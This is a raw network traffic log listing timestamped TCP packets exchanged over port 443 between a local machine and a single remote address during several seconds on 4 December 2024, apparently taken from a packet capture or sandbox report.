Dec 4, 2024 16:11:59.639863014 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.640202999 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.640456915 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.640485048 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.640530109 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.640546083 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.640682936 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.640943050 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.640952110 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.641043901 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.641050100 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.641252041 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.641283989 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.641604900 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.641611099 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.749186039 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.749672890 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.749721050 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:59.750142097 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:59.750149012 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100157976 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100243092 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100332975 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.100455046 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.100476980 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100488901 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.100495100 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100707054 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100776911 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100790024 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100825071 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.100863934 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.100915909 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.100990057 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.101010084 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.101022005 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.101027966 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.101553917 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.101573944 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.101584911 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.101591110 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.103646994 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.103694916 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.103759050 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.103837013 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.103873014 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.103924990 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109117985 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109158039 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.109230042 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109230042 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109255075 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.109323025 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109340906 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.109406948 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.109421968 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.183325052 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.183402061 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.183458090 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.183624983 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.183653116 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.183665991 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.183671951 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.186908007 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.186955929 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.187019110 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.187165976 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.187180042 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.528517008 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.529056072 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.529081106 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.529519081 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.529525042 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.963577986 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.963648081 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.963701010 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.964930058 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.964950085 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.964961052 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.964967012 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.969527960 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.969578028 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:00.969655037 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.969922066 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:00.969937086 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.825680971 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.826215029 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.826253891 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.826778889 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.826786995 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.827415943 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.827747107 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.827768087 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.828185081 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.828188896 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.830435991 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.830769062 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.830790043 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.831257105 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.831263065 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.914048910 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.914525986 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.914545059 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:01.915054083 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:01.915057898 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267196894 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267278910 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267337084 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267380953 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267399073 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267455101 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267654896 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267673016 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267677069 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267688036 CET	49849	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267688990 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267694950 CET	443	49849	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267704010 CET	49847	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.267709970 CET	443	49847	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267833948 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267896891 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.267935038 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.268428087 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.268460989 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.268476963 CET	49848	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.268482924 CET	443	49848	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.270905018 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.270952940 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.271025896 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.271069050 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.271120071 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.271169901 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.271222115 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.271234035 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.271303892 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.271318913 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.272084951 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.272094965 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.272162914 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.272324085 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.272331953 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.351171970 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.351286888 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.351522923 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.351594925 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.351617098 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.351649046 CET	49850	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.351655006 CET	443	49850	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.354564905 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.354614973 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.354691029 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.354873896 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.354887962 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.703742981 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.704220057 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.704277992 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:02.705032110 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:02.705046892 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.146493912 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.146575928 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.146815062 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.146925926 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.146954060 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.146964073 CET	49851	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.146970987 CET	443	49851	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.150108099 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.150146961 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.150233030 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.150398016 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:03.150412083 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.997488976 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.997910023 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:03.998246908 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.041546106 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.050898075 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.050991058 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.079488993 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.079504967 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.080037117 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.080044985 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.080360889 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.080380917 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.080784082 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.080789089 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.081064939 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.081070900 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.081428051 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.081434965 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.081464052 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.081773043 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.081787109 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.082175970 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.082181931 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.432466030 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.432543993 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.432600021 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.432805061 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.432832003 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.432847977 CET	49852	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.432853937 CET	443	49852	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433047056 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433104038 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433116913 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433161020 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433176994 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433217049 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433276892 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433281898 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433291912 CET	49854	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433295965 CET	443	49854	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433401108 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433418989 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.433435917 CET	49853	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.433442116 CET	443	49853	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.436168909 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436193943 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.436218023 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436234951 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.436255932 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436285019 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436425924 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436434984 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.436528921 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436537981 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.436964989 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.436973095 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.437022924 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.437109947 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.437117100 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.517817974 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.517884970 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.517941952 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.518178940 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.518194914 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.518205881 CET	49855	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.518210888 CET	443	49855	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.521249056 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.521301985 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.521398067 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.521583080 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.521600008 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.874067068 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.874809027 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.874852896 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:04.875322104 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:04.875334024 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.309298038 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.309379101 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.309443951 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.309711933 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.309726954 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.309740067 CET	49856	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.309745073 CET	443	49856	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.312639952 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.312678099 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:05.312762976 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.312915087 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:05.312927961 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.210772991 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.210794926 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.211365938 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.211390972 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.211929083 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.211935997 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.212076902 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.212112904 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.212433100 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.212440014 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.242458105 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.243073940 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.243108034 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.243447065 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.243457079 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.247867107 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.248301983 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.248317003 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.248740911 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.248747110 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.645529985 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.645613909 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.645682096 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.646100998 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.646179914 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.646224976 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.681546926 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.681623936 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.681689024 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.683923960 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.683990955 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.684039116 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.690875053 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.690901995 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.690917969 CET	49857	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.690924883 CET	443	49857	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.692270994 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.692280054 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.692289114 CET	49859	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.692292929 CET	443	49859	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.693625927 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.693655968 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.693671942 CET	49858	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.693679094 CET	443	49858	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.694633961 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.694691896 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.694725037 CET	49860	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.694732904 CET	443	49860	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.698865891 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.698930979 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.698965073 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.699002028 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.699006081 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.699054956 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.699470997 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.699489117 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.699585915 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.699599981 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.700579882 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.700630903 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.700700045 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.700824976 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.700830936 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.700839996 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.700876951 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:06.700952053 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.701034069 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:06.701047897 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.032583952 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.033298969 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.033338070 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.033775091 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.033780098 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.474685907 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.474761963 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.474836111 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.475044966 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.475066900 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.475079060 CET	49861	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.475085020 CET	443	49861	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.478178978 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.478226900 CET	443	49866	13.107.246.63	192.168.2.12
